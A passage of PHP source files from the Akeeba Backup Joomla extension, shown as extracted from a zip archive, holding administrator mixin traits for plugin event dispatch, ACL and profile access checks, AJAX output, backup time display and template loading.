	 * @param   mixed        $dispatcherOrSource  A DispatcherInterface or DispatcherAwareInterface (e.g. Application)
	 *                                            object.
	 *
	 * @return  array
	 * @since   2023.08.25
	 */
	protected static function triggerPluginEventStatic(string $event, array $arguments, ?string $className = null, $dispatcherOrSource = null): array
	{
		$shouldLog = JDEBUG && empty($className);

		// If the $dispatcherOrSource parameter is a dispatcher we'll use it.
		$dispatcher = ($dispatcherOrSource instanceof DispatcherInterface) ? $dispatcherOrSource : null;

		// If we don't have a dispatcher, we need to go through a DispatcherAwareInterface object.
		if (empty($dispatcher))
		{
			try
			{
				// If we're not given a DispatcherAwareInterface object we'll try to go through the application object
				$dispatcherAware = ($dispatcherOrSource instanceof DispatcherAwareInterface)
					? $dispatcherOrSource
					: Factory::getApplication();
				// Hopefully this yields a dispatcher object.
				$dispatcher = $dispatcherAware->getDispatcher();
			}
			catch (\Throwable $e)
			{
				return [];
			}
		}

		$className = $className ?: self::getEventClassByEventNameAugmentedByAkeeba($event);

		if ($shouldLog)
		{
			self::logTriggerPluginEventWithoutClass($event, $className);
		}

		$eventObject = new $className($event, $arguments);
		$eventResult = $dispatcher->dispatch($event, $eventObject);
		$results     = $eventResult->getArgument('result') ?: [];

		return is_array($results) ? $results : [];
	}

	/**
	 * Execute a plugin event and return its results. Normal version, to be used by concrete objects.
	 *
	 * @param   string       $event                The event name
	 * @param   array        $arguments            The event arguments
	 * @param   string|null  $className            The concrete event's class name; null to have Joomla auto-detect it.
	 * @param   mixed        $dispatcherOrSource   A DispatcherInterface or DispatcherAwareInterface (e.g. Application)
	 *                                             object.
	 *
	 * @return  array
	 *
	 * @throws  \Exception
	 * @since   2023.08.25
	 */
	protected function triggerPluginEvent(string $event, array $arguments, ?string $className = null, $dispatcherOrSource = null): array
	{
		// If I am given a DispatcherInterface object, or a DispatcherAwareInterface (e.g. Application) object return fast.
		if ($dispatcherOrSource instanceof DispatcherAwareInterface || $dispatcherOrSource instanceof DispatcherInterface)
		{
			return self::triggerPluginEventStatic($event, $arguments, $className, $dispatcherOrSource);
		}

		// If we are a DispatcherAwareInterface object ourselves return fast.
		$dispatcher = $this instanceof DispatcherAwareInterface ? $this->getDispatcher() : null;

		if (!is_null($dispatcher))
		{
			return self::triggerPluginEventStatic($event, $arguments, $className, $dispatcher);
		}

		/**
		 * Since we're not given a dispatcher or dispatcher aware object, and we're not a dispatcher aware obejct
		 * ourselves, we need to get the Joomla! Application object as the most likely candidate of the dispatcher
		 * aware object we should be using.
		 */
		if (method_exists($this, 'getApplication'))
		{
			$app = $this->getApplication();
		}
		elseif (property_exists($this, 'app') && $this->app instanceof CMSApplication)
		{
			$app = $this->app;
		}
		else
		{
			$app = Factory::getApplication();
		}

		if (!$app instanceof DispatcherAwareInterface)
		{
			return [];
		}

		return self::triggerPluginEventStatic($event, $arguments, $className, $dispatcher);
	}

	private static function logTriggerPluginEventWithoutClass(string $event, string $className)
	{
		// Register a log file
		static $hasLogFile = false;

		if (!$hasLogFile)
		{
			Log::addLogger([
				'text_file'         => 'akeeba_runPluginsTrait.php',
				'text_entry_format' => '{DATETIME}	{MESSAGE}',
				'defer'             => true,
			], Log::ALL, ['akeeba.runPluginsTrait']);
		}

		// Get the caller using debug backtrace. REMEMBER: STATIC CALLS GO ONE LEVEL DEEPER!
		$callers    = debug_backtrace(DEBUG_BACKTRACE_PROVIDE_OBJECT | DEBUG_BACKTRACE_IGNORE_ARGS);
		$callTarget = ($callers[2]['function'] === 'triggerPluginEventStatic') ? $callers[3] : $callers[2];

		Log::add(
			sprintf(
				'Event "%s" resolved to class %s -- called from %s%s%s at %s line %d',
				$event,
				$className,
				$callTarget['class'],
				$callTarget['type'],
				$callTarget['function'],
				$callTarget['file'],
				$callTarget['line']
			),
			LogLevel::DEBUG,
			'akeeba.runPluginsTrait'
		);
	}
}PK     \`g    %  src/Mixin/GetPropertiesAwareTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') or die;

trait GetPropertiesAwareTrait
{
	/**
	 * Convert the object to an array.
	 *
	 * This is a **FAR** more efficient way to do things than the crap used by Joomla!. PHP always adds a NULL byte in
	 * front of private properties' names when casting an object to array. We exploit this quirk to filter out private
	 * properties without using the slow-as-molasses PHP Reflection.
	 *
	 * @param  bool  $public
	 *
	 * @return array
	 *
	 * @since  9.7.0
	 */
	public function getProperties($public = true)
	{
		$asArray = (array) $this;

		if (!$public)
		{
			return $asArray;
		}

		return array_filter($asArray, fn($x) => !empty($x) && !is_numeric($x) && ord(substr($x, 0, 1)) !== 0, ARRAY_FILTER_USE_KEY);
	}
}PK     \|    /  src/Mixin/ControllerProfileRestrictionTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') || die;

use Akeeba\Engine\Platform;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

/**
 * Implements an onBeforeExecute to restrict access to profiles by access level
 */
trait ControllerProfileRestrictionTrait
{
	use ControllerProfileAccessTrait;

	protected function onBeforeExecute(&$task)
	{
		// Before doing anything, triple check that we truly have access to this profile
		$profileId = Platform::getInstance()->get_active_profile();

		if (!$this->checkProfileAccess($profileId))
		{
			Factory::getApplication()->getSession()->set('akeebabackup.profile', 1);

			$this->setRedirect('index.php?option=com_akeebabackup', Text::_('COM_AKEEBABACKUP_PROFILE_ERR_NOACCESS'), 'error');

			$this->redirect();
		}
	}

}PK     \avBO    *  src/Mixin/GetErrorsFromExceptionsTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Exception;
use Throwable;

trait GetErrorsFromExceptionsTrait
{
	/**
	 * Retrieve the messages from nested exceptions into an array. It will optionally add the trace as the last element
	 * of the array if debug mode (JDEBUG or AKEEBADEBUG) is enabled and $includeTraceInDebug is true.
	 *
	 * @param   Exception|Throwable  $exception            The Exception or Throwable to log
	 *
	 * @param   bool                 $includeTraceInDebug  Include the trace when debug mode is enabled
	 *
	 * @return  array
	 */
	public function getErrorsFromExceptions($exception, $includeTraceInDebug = true)
	{
		$ret = [
			$exception->getMessage(),
		];

		$previous = $exception->getPrevious();

		if (!is_null($previous))
		{
			$ret = array_merge($ret, $this->getErrorsFromExceptions($previous, false));
		}

		if ($includeTraceInDebug && ((defined('JDEBUG') && JDEBUG) || (defined('AKEEBADEBUG') && AKEEBADEBUG)))
		{
			$ret[] = $exception->getTraceAsString();
		}

		return $ret;
	}

}
PK     \0yD    !  src/Mixin/ControllerAjaxTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') || die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\MVC\Model\BaseModel;

trait ControllerAjaxTrait
{
	protected $decodeJsonAsArray = false;

	public function ajax()
	{
		// Parse the JSON data and reset the action query param to the resulting array
		$action_json = $this->input->get('action', '', 'raw');
		$action      = json_decode($action_json, $this->decodeJsonAsArray);

		/** @var BaseModel $model */
		$model = $this->getModel($this->getName(), 'Administrator');

		$model->setState('action', $action);

		$ret = $model->doAjax();

		@ob_end_clean();
		echo '###' . json_encode($ret) . '###';

		if (ComponentHelper::getParams('com_akeebabackup')->get('no_flush', 0) != 1)
		{
			flush();
		}

		$this->app->close();
	}

}PK     \a	-	  	  &  src/Mixin/ViewBackupStartTimeTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') || die();

use DateTimeZone;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

trait ViewBackupStartTimeTrait
{
	/**
	 * Should I use the user's local time zone for display?
	 *
	 * @var  boolean
	 */
	public $useLocalTime;

	/**
	 * Time format string to use for the time zone suffix
	 *
	 * @var  string
	 */
	public $timeZoneFormat;

	/**
	 * Date format for the backup start time
	 *
	 * @var  string
	 */
	public $dateFormat = '';

	protected function initTimeInformation()
	{
		$cParams = ComponentHelper::getParams('com_akeebabackup');

		// Date format
		$dateFormat       = $cParams->get('dateformat', '');
		$dateFormat       = trim($dateFormat);
		$this->dateFormat = !empty($dateFormat) ? $dateFormat : Text::_('DATE_FORMAT_LC4');

		// Time zone options
		$this->useLocalTime   = $cParams->get('localtime', '1') == 1;
		$this->timeZoneFormat = $cParams->get('timezonetext', 'T');

	}

	/**
	 * Get the start time and duration of a backup record
	 *
	 * @param   array  $record  A backup record
	 *
	 * @return  array  array(startTimeAsString, durationAsString)
	 */
	protected function getTimeInformation($record)
	{
		$utcTimeZone = new DateTimeZone('UTC');
		$startTime   = clone Factory::getDate($record['backupstart'], $utcTimeZone);
		$endTime     = clone Factory::getDate($record['backupend'], $utcTimeZone);

		$duration = $endTime->toUnix() - $startTime->toUnix();

		if ($duration > 0)
		{
			$seconds  = $duration % 60;
			$duration = $duration - $seconds;

			$minutes  = ($duration % 3600) / 60;
			$duration = $duration - $minutes * 60;

			$hours    = $duration / 3600;
			$duration = sprintf('%02d', $hours) . ':' . sprintf('%02d', $minutes) . ':' . sprintf('%02d', $seconds);
		}
		else
		{
			$duration = '';
		}

		$user   = Factory::getApplication()->getIdentity();
		$userTZ = $user->getParam('timezone', 'UTC');
		$tz     = new DateTimeZone($userTZ);
		$startTime->setTimezone($tz);

		$timeZoneSuffix = '';

		if (!empty($this->timeZoneFormat))
		{
			$timeZoneSuffix = $startTime->format($this->timeZoneFormat, $this->useLocalTime);
		}

		return [
			$startTime->format($this->dateFormat, $this->useLocalTime),
			$duration,
			$timeZoneSuffix,
		];
	}

}PK     \i      src/Mixin/ViewTableUITrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') || die;

trait ViewTableUITrait
{
	public function tableColumnsAutohide(): void
	{
		try
		{
			$this->getDocument()->getWebAssetManager()->useScript('table.columns');
		}
		catch (\Throwable $e)
		{
			// This might indeed fail on old Joomla! versions.
		}
	}

	public function tableColumnsMultiselect(?string $tableSelector = null): void
	{
		try
		{
			$this->getDocument()->getWebAssetManager()->useScript('multiselect');

			if (empty($tableSelector))
			{
				return;
			}

			$this->getDocument()->addScriptOptions('js-multiselect', [
				'formName' => $tableSelector
			]);
		}
		catch (\Throwable $e)
		{
			// This might indeed fail on old Joomla! versions.
		}
	}
}PK     \;k  k  *  src/Mixin/ControllerProfileAccessTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfilesModel;
use Joomla\CMS\Factory as JoomlaFactory;

defined('_JEXEC') or die;

trait ControllerProfileAccessTrait
{
	/**
	 * @param $profile_id
	 *
	 * @return bool
	 */
	protected function checkProfileAccess($profile_id)
	{
		/** @var ProfilesModel $profileModel */
		$profileModel  = $this->getModel('Profiles', 'Administrator', ['ignore_request' => true]);
		$access_levels = JoomlaFactory::getApplication()->getIdentity()->getAuthorisedViewLevels();

		$profileModel->setState('filter.access_level', $access_levels);
		$profileModel->setState('list.start', 0);
		$profileModel->setState('list.limit', 0);
		$profiles = $profileModel->getItems();

		$profileIDs = array_map(function($profile){
			return (int) $profile->id;
		}, $profiles ?: []);

		return !empty($profile_id) && in_array((int)$profile_id, $profileIDs, true);
	}
}PK     \t$  $  &  src/Mixin/ViewLoadAnyTemplateTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') || die;

use Exception;
use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\Filesystem\Path;
use Throwable;

/**
 * Adds support for loading any template or layout, of any view of the current component, in an HTML view.
 *
 * @since  9.0.0
 */
trait ViewLoadAnyTemplateTrait
{
	/**
	 * Load any view template of the current component.
	 *
	 * You can this method using different $viewTemplate formats:
	 * * `layout` Loads `layout.php` of the current view.
	 * * `layout_subtemplate` Loads `layout_subtemplate.php` of the current view.
	 * * `_subtemplate` Equivalent to `$this->loadTemplate('subtemplate')`. DISCOURAGED!
	 * * `viewName/layout` Loads the `layout.php` file of the view `viewName`.
	 * * `viewName/layout_subtemplate` Loads the `layout_subtemplate.php` file of the view `viewName`.
	 *
	 * There are other silly ways to call this method which make no sense. Please don't.
	 *
	 * @param   string  $viewTemplate       What to load in the format 'view/layout_subtemplate'
	 * @param   bool    $fallbackToDefault  Should I fall back to the default layout?
	 * @param   array   $extraVariables     Extra variables to introduce in the view template's scope
	 *
	 * @return  string
	 * @throws  Throwable
	 */
	public function loadAnyTemplate(string $viewTemplate, bool $fallbackToDefault = true, array $extraVariables = []): string
	{
		// We were only given a layout. Prefix it with the view name.
		if (strpos($viewTemplate, '/') === false)
		{
			$viewTemplate = $this->getName() . '/' . $viewTemplate;
		}

		// Convert the 'view/template' to separate view and template
		[$view, $layout] = explode('/', $viewTemplate, 2);

		// Make sure I have a valid view
		$view = $view ?: $this->getName();

		// Start with no subtemplate
		$tpl = null;

		// Does the layout also have a subtemplate (e.g. 'layout_subtemplate')?
		$layoutParts = explode('_', $layout, 2);

		if (count($layoutParts) === 2)
		{
			// This makes sure that a bare '_subtemplate' results in something meaningful.
			$layout = $layoutParts[0] ?: $this->getLayout();
			// An empty tpl is squashed to null (Joomla can't have empty subtemplates!)
			$tpl = $layoutParts[1] ?: null;
		}

		// Store the current view template paths and layout name
		$previousTemplatePaths = $this->_path['template'];
		$previousLayout        = $this->getLayout();

		// Create new view template paths
		$newTemplatePaths = array_map(function ($path) use ($view) {
			$path      = rtrim($path, DIRECTORY_SEPARATOR);
			$lastSlash = strrpos($path, DIRECTORY_SEPARATOR);

			return substr($path, 0, $lastSlash) . DIRECTORY_SEPARATOR . strtolower($view) . DIRECTORY_SEPARATOR;
		}, $previousTemplatePaths);

		// Set up the default return HTML and thrown exception
		$ret       = '';
		$exception = null;

		try
		{
			// Apply the new view template paths
			$this->_path['template'] = $newTemplatePaths;
			// Apply the new base layout
			$this->setLayout($layout);
			// Get the subtemplate (null here means load the base layout file)
			$ret = $this->loadTemplate($tpl, false, $extraVariables);
		}
		catch (Throwable $e)
		{
			if (defined('AKEEBADEBUG'))
			{
				$id  = ApplicationHelper::getHash(microtime());
				$ret = <<< HTML
<div class="border border-3 border-danger bg-light">
	<h3 class="test-danger">
		{$e->getMessage()}
	</h3>
	<p>
		<a href="#$id"
			class="btn btn-link" 
			data-bs-toggle="collapse" role="button" aria-expanded="false" aria-controls="$id">
			Debug backtrace		
		</a>	
	</p>
	<pre class="collapse" id="$id">{$e->getFile()}:{$e->getLine()}
{$e->getTraceAsString()}</pre>
</div>
HTML;

			}
			else
			{
				// An error occurred. Cache it so that the finally block runs first.
				$exception = $e;
			}

		}
		finally
		{
			// Undo the custom template paths and layout
			$this->_path['template'] = $previousTemplatePaths;
			$this->setLayout($previousLayout);
		}

		// If an error had occurred, rethrow the exception and terminate early.
		if (!is_null($exception))
		{
			throw $exception;
		}

		// Return the HTML of the parsed template.
		return $ret;
	}

	/**
	 * Load a template file -- first look in the templates folder for an override
	 *
	 * Copied from Joomla 4.0. Added the $fallbackToDefault and $extraVariables options.
	 *
	 * @param   null   $tpl                The name of the template source file; automatically searches the template
	 *                                     paths and compiles as needed.
	 * @param   bool   $fallbackToDefault  Should I fall back to the default layout?
	 * @param   array  $extraVariables     Extra variables to introduce in the view template's scope
	 *
	 * @return  string  The output of the the template script.
	 *
	 * @throws Exception
	 * @since   9.0.0
	 */
	public function loadTemplate($tpl = null, bool $fallbackToDefault = true, array $extraVariables = []): string
	{
		// Clear prior output
		$this->_output = null;

		$template       = Factory::getApplication()->getTemplate(true);
		$layout         = $this->getLayout();
		$layoutTemplate = $this->getLayoutTemplate();

		// Create the template file name based on the layout
		$file = isset($tpl) ? $layout . '_' . $tpl : $layout;

		// Clean the file name
		$file = preg_replace('/[^A-Z0-9_\.-]/i', '', $file);
		$tpl  = isset($tpl) ? preg_replace('/[^A-Z0-9_\.-]/i', '', $tpl) : $tpl;

		// Load the language file for the template
		$lang = Factory::getApplication()->getLanguage();
		$lang->load('tpl_' . $template->template, JPATH_BASE)
		|| $lang->load('tpl_' . $template->parent, JPATH_THEMES . '/' . $template->parent)
		|| $lang->load('tpl_' . $template->template, JPATH_THEMES . '/' . $template->template);

		// Change the template folder if alternative layout is in different template
		if (isset($layoutTemplate) && $layoutTemplate !== '_' && $layoutTemplate != $template->template)
		{
			$this->_path['template'] = str_replace(
				JPATH_THEMES . DIRECTORY_SEPARATOR . $template->template,
				JPATH_THEMES . DIRECTORY_SEPARATOR . $layoutTemplate,
				$this->_path['template']
			);
		}

		// Load the template script
		$filetofind      = $this->_createFileName('template', ['name' => $file]);
		try
		{
			$this->_template = Path::find($this->_path['template'], $filetofind);
		}
		catch (Exception $e)
		{
			$this->_template = false;
		}

		// If alternate layout can't be found, fall back to default layout
		if (($this->_template === false) && $fallbackToDefault)
		{
			$filetofind      = $this->_createFileName('', ['name' => 'default' . (isset($tpl) ? '_' . $tpl : $tpl)]);
			try
			{
				$this->_template = Path::find($this->_path['template'], $filetofind);
			}
			catch (Exception $e)
			{
				$this->_template = false;
			}
		}

		if ($this->_template !== false)
		{
			// Unset so as not to introduce into template scope
			unset($tpl, $file);

			// Never allow a 'this' property
			if (isset($this->this))
			{
				unset($this->this);
			}

			// Start capturing output into a buffer
			ob_start();

			empty($extraVariables) || extract($extraVariables);

			// Include the requested template filename in the local scope
			// (this will execute the view logic).
			include $this->_template;

			// Done with the requested template; get the buffer and
			// clear it.
			$this->_output = ob_get_contents();
			ob_end_clean();

			return $this->_output;
		}

		throw new Exception(Text::sprintf('JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND', $file), 500);
	}

}PK     \lY    *  src/Mixin/ControllerRegisterTasksTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') || die;

use ReflectionMethod;
use ReflectionObject;

trait ControllerRegisterTasksTrait
{
	/**
	 * Automatically register controller tasks.
	 *
	 * Only public, user defined methods whose names do not start with 'onBefore', 'onAfter' or '_' are registered as
	 * controller tasks.
	 *
	 * @param   string|null  $defaultTask  The default task. NULL to use 'main' or 'default', whichever exists.
	 */
	protected function registerControllerTasks(?string $defaultTask = null)
	{
		$defaultTask = $defaultTask ?? (method_exists($this, 'main') ? 'main' : 'display');

		$this->registerDefaultTask($defaultTask);

		$refObj = new ReflectionObject($this);

		/** @var ReflectionMethod $refMethod */
		foreach ($refObj->getMethods(ReflectionMethod::IS_PUBLIC) as $refMethod)
		{
			if (
				!$refMethod->isUserDefined() ||
				$refMethod->isStatic() || $refMethod->isAbstract() || $refMethod->isClosure() ||
				$refMethod->isConstructor() || $refMethod->isDestructor()

			) {
				continue;
			}

			$method = $refMethod->getName();

			if (substr($method, 0, 1) == '_') {
				continue;
			}

			if (substr($method, 0, 8) == 'onBefore') {
				continue;
			}

			if (substr($method, 0, 7) == 'onAfter') {
				continue;
			}

			$this->registerTask($method, $method);
		}
	}
}PK     \,    '  src/Mixin/ViewProfileIdAndNameTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') || die;

use Akeeba\Engine\Platform;
use Joomla\CMS\Factory;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\DatabaseInterface;
use Joomla\Database\ParameterType;

trait ViewProfileIdAndNameTrait
{
	/**
	 * Active profile ID
	 *
	 * @var  int
	 */
	public $profileId = 0;

	/**
	 * Active profile's description
	 *
	 * @var  string
	 */
	public $profileName = '';

	/**
	 * Is this profile available as an One Click Backup icon? 0/1
	 *
	 * @var  int
	 */
	public $quickIcon = 0;

	/**
	 * Find the currently active profile ID and name and put them in properties accessible by the view template
	 */
	protected function getProfileIdAndName()
	{
		$profileId     = (int) Platform::getInstance()->get_active_profile();

		/** @var DatabaseDriver $db */
		$db = Factory::getContainer()->get(DatabaseInterface::class);

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select([
				$db->qn('description'),
				$db->qn('quickicon')
			])->from($db->qn('#__akeebabackup_profiles'))
			->where($db->qn('id') . ' = :id')
			->bind(':id', $profileId, ParameterType::INTEGER);


		try
		{
			// Try to load the given profile
			$profile = $db->setQuery($query)->loadObject();

			$this->profileId   = $profileId;
			$this->profileName = $profile->description;
			$this->quickIcon   = $profile->quickicon;
		}
		catch (\Exception $e)
		{
			// If the default profile is not found fake it
			if ($profileId <= 1)
			{
				$this->profileId   = 1;
				$this->profileName = 'Default backup profile';
				$this->quickIcon   = 1;

				return;
			}

			// If the non-default profile is not found fall back to the default backup profile instead
			Factory::getApplication()->getSession()->set('akeebabackup.profile', 1);

			$this->getProfileIdAndName();
		}
	}
}PK     \uC
  
    src/Mixin/AkeebaEngineTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') || die();

use Akeeba\Component\AkeebaBackup\Administrator\Helper\PushMessages;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\Database\DatabaseInterface;

trait AkeebaEngineTrait
{
	public function loadAkeebaEngine(?DatabaseInterface $dbo = null, ?MVCFactoryInterface $factory = null)
	{
		$app = property_exists($this, 'app') ? $this->app : JoomlaFactory::getApplication();

		if (empty($dbo) || empty($factory))
		{
			$componentExtension = $app->bootComponent('com_akeebabackup');
		}

		$factory = $factory ?? $componentExtension->getMVCFactory();
		$dbo = $dbo ?? $componentExtension->getContainer()->get(DatabaseInterface::class);

		// Load Composer dependencies
		$autoloader = require_once JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/autoload.php';

		// Necessary defines for Akeeba Engine
		if (!defined('AKEEBAENGINE'))
		{
			define('AKEEBAENGINE', 1);
		}

		if (!defined('AKEEBAROOT'))
		{
			define('AKEEBAROOT', realpath(__DIR__ . '/../../vendor/akeeba/engine/engine'));
		}

		if (!defined('AKEEBA_CACERT_PEM'))
		{
			$caCertPath = class_exists('\\Composer\\CaBundle\\CaBundle')
				? \Composer\CaBundle\CaBundle::getBundledCaBundlePath()
				: JPATH_LIBRARIES . '/src/Http/Transport/cacert.pem';

			define('AKEEBA_CACERT_PEM', $caCertPath);
		}

		// Make sure we have a profile set throughout the component's lifetime
		$profile_id = $app->getSession()->get('akeebabackup.profile', null);

		if (is_null($profile_id))
		{
			$app->getSession()->set('akeebabackup.profile', 1);
		}

		// Tell the Akeeba Engine where to load the platform from
		Platform::addPlatform('joomla', __DIR__ . '/../../platform/Joomla');

		// Apply a custom path for the encrypted settings key file
		Factory::getSecureSettings()->setKeyFilename(JPATH_ADMINISTRATOR . '/components/com_akeebabackup/serverkey.php');

		// Add our custom push notifications handler
		Factory::setPushClass(PushMessages::class);
		PushMessages::$mvcFactory = $factory;

		// !!! IMPORTANT !!! DO NOT REMOVE! This triggers Akeeba Engine's autoloader. Without it the next line fails!
		$DO_NOT_REMOVE = Platform::getInstance();

		// Set the DBO to the Akeeba Engine platform for Joomla
		Platform\Joomla::setDbDriver($dbo);
	}

	public function loadAkeebaEngineConfiguration()
	{
		$akeebaEngineConfig = Factory::getConfiguration();

		Platform::getInstance()->load_configuration();

		unset($akeebaEngineConfig);
	}
}PK     \    &  src/Mixin/ControllerCustomACLTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\User\User;
use RuntimeException;

trait ControllerCustomACLTrait
{
	protected function onBeforeExecute(&$task)
	{
		$this->akeebaBackupACLCheck($this->getName(), $this->task);
	}

	/**
	 * Checks if the currently logged in user has the required ACL privileges to access the current view. If not, a
	 * RuntimeException is thrown.
	 *
	 * @return  void
	 */
	protected function akeebaBackupACLCheck($view, $task)
	{
		// Akeeba Backup-specific ACL checks. All views not listed here are limited by the akeeba.configure privilege.
		$viewACLMap = [
			'controlpanel'       => 'core.manage',
			'backup'             => 'akeebabackup.backup',
			'manage'             => 'core.manage',
			'manage.download'    => 'akeebabackup.download',
			'manage.remove'      => 'akeebabackup.download',
			'manage.deletefiles' => 'akeebabackup.download',
			'manage.showcomment' => 'akeebabackup.backup',
			'manage.save'        => 'akeebabackup.download',
			'manage.restore'     => 'akeebabackup.configure',
			'manage.cancel'      => 'akeebabackup.backup',
			'upload'             => 'akeebabackup.backup',
			'remotefiles'        => 'akeebabackup.download',
			'transfer'           => 'akeebabackup.download',
		];

		$view = strtolower($view ?? 'controlpanel');
		$task = strtolower($task ?? 'main');

		// Default
		$privilege = 'akeebabackup.configure';

		// Just the view was found
		if (array_key_exists($view, $viewACLMap))
		{
			$privilege = $viewACLMap[$view];
		}

		// The view AND task was found
		if (array_key_exists($view . '.' . $task, $viewACLMap))
		{
			$privilege = $viewACLMap[$view . '.' . $task];
		}

		// If an empty privilege is defined do not perform any ACL checks
		if (empty($privilege))
		{
			return;
		}

		$user = Factory::getApplication()->getIdentity() ?? (new User());

		if (!$user->authorise($privilege, 'com_akeebabackup'))
		{
			throw new RuntimeException(Text::_('JERROR_ALERTNOAUTHOR'), 403);
		}
	}

}PK     \I    "  src/Mixin/ViewProfileListTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') || die;

use Joomla\CMS\Factory;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\DatabaseInterface;

trait ViewProfileListTrait
{
	/**
	 * List of backup profiles, for use with \Joomla\CMS\HTML\Helpers\Select
	 *
	 * @var   array
	 */
	public $profileList = [];

	/**
	 * Populates the profileList property with an options list for use by JHtmlSelect
	 *
	 * @param   bool  $includeId  Should I include the profile ID in front of the name?
	 *
	 * @return  void
	 */
	protected function getProfileList($includeId = true)
	{
		/** @var DatabaseDriver $db */
		$db = Factory::getContainer()->get(DatabaseInterface::class);
		$access_levels = JoomlaFactory::getApplication()->getIdentity()->getAuthorisedViewLevels();

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select([
				$db->qn('id'),
				$db->qn('description'),
			])->from($db->qn('#__akeebabackup_profiles'))
			->whereIn($db->qn('access'), $access_levels)
			->order($db->qn('id') . " ASC");

		$db->setQuery($query);
		$rawList = $db->loadAssocList();

		$this->profileList = [];

		if (!is_array($rawList))
		{
			return;
		}

		foreach ($rawList as $row)
		{
			$description = $row['description'];

			if ($includeId)
			{
				$description = '#' . $row['id'] . '. ' . $description;
			}

			$this->profileList[] = HTMLHelper::_('select.option', $row['id'], $description);
		}
	}
}PK     \dj  j  &  src/Mixin/ViewTaskBasedEventsTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Mixin;

defined('_JEXEC') || die;

trait ViewTaskBasedEventsTrait
{
	use TriggerEventTrait;

	public function display($tpl = null)
	{
		$task = $this->getModel()->getState('task');

		$eventName = 'onBefore' . ucfirst($task);
		$this->triggerEvent($eventName, [&$tpl]);

		parent::display($tpl);

		$eventName = 'onAfter' . ucfirst($task);
		$this->triggerEvent($eventName, [&$tpl]);
	}
}PK     \+¤      src/Mixin/ModelChmodTrait.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
